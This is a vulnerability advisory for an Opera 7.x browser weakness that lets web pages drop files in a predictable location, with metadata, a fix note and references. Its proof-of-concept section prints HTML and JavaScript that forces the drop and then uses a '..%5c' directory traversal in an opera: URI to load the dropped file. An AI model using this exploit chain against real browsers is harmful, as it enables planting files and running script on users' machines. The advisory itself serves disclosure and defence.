BID:9019

Opera Multiple MIME Type File Dropping Weakness

Info

Opera Multiple MIME Type File Dropping Weakness

Bugtraq ID:	9019
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 12 2003 12:00AM
Updated:	Nov 12 2003 12:00AM
Credit:	Discovery is credited to S G Masood <[email protected]>.
Vulnerable:	Opera Software Opera Web Browser 7.22 Opera Software Opera Web Browser 7.21 Opera Software Opera Web Browser 7.20 Beta 1 build 2981 Opera Software Opera Web Browser 7.20 Opera Software Opera Web Browser 7.11 j Opera Software Opera Web Browser 7.11 b Opera Software Opera Web Browser 7.11 Opera Software Opera Web Browser 7.10

Not Vulnerable:	Opera Software Opera Web Browser 7.23

Discussion

Opera Multiple MIME Type File Dropping Weakness

Opera includes support for multiple MIME types used for configuration and installation of browser skins that potentially could be abused by a malicious web page to drop files onto a client system in a predictable location. Through exploitation of another reported vulnerability (BID 9021), further attacks may result, such as execution of script code or information disclosure.

This issue was reported to exist in Windows versions of the web browser. It is not known if versions for other platforms are similarly affected.

Exploit / POC

Opera Multiple MIME Type File Dropping Weakness

The following proof-of-concept was provided (which also exploits BID 9021):

---------------START MAIN.HTM----------------

<html>

<head>

<script language="javascript">

var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"<opera // dir>/profile/skin/" folder.

setTimeout("redir()",2000) //modify according to your situation.

function redir(){

window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.

}

</script>

</head>

<body>

<h1>This is the main file</h1>

</body>

</html>

---------------END MAIN.HTM----------------

---------------START SKIN.HTM----------------

<body>

<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "<opera dir>/profile/skin/" in localhost.

</body>

---------------END SKIN.HTM----------------

Solution / Fix

Opera Multiple MIME Type File Dropping Weakness

Solution:
This issue has been addressed in Opera 7.23. Updates may be obtained via the vendor website.

References

Opera Multiple MIME Type File Dropping Weakness

References:

Opera Web Browser Home Page (Opera Software)
[Opera 7] Arbitrary File Auto-Saved Vulnerability. (":: Operash ::" )
Opera directory traversal and buffer overflow (Jouko Pynnonen )
Opera Directory Traversal in Internal URI Protocol (Advisory) (S G Masood )
Opera Skinned & Opera Directory Traversal (Additional Details & a Simple Exploit (S G Masood )
Opera Skinned : Arbitrary File Dropping And Execution (Advisory) ( S G Masood )